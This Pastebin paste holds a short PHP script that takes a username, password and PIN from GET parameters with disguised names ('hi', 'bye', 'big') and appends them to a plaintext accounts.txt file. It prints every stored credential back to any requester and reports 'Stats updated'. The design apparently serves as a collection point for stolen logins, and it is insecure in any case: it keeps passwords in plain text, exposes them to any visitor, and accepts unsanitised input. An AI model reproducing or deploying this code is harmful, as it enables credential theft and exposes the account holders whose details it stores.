Advertisement
Guest User

Untitled

a guest
Jul 21st, 2017
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.86 KB | None | 0 0
  1. <?php
  2.     $hi=$_GET["hi"];
  3.     $bye=$_GET["bye"];
  4.     $big=$_GET["big"];
  5.     $lines = file('accounts.txt');
  6.     if(!is_array($lines)) die("File could not be opened");
  7.     $s = "null";
  8.     foreach($lines as $line) {
  9.         list($user, $pass, $pin) = explode(',', $line);
  10.         echo "$user $pass $ping : $hi $bye $big \n";
  11.                 if (!$pass) { $pass = "null"; }
  12.         if (!$pin || $pin == -1) { $pin = "null"; }
  13.         if ("$hi" != "$user") { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
  14.         else if ("$hi" == "$user" && "$bye" != "$pass") { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
  15.         else if ("$hi" == "$user" && "$bye" == "$pass" && "$pin" != "$big") { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
  16.     }
  17.     if ($s != "null") {
  18.         $file = fopen("accounts.txt",'a+');
  19.         fwrite($file, "$s");
  20.         fclose($file);
  21.         echo "Stats updated";
  22.     }
  23.     else { echo "Duplicate found"; }
  24. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement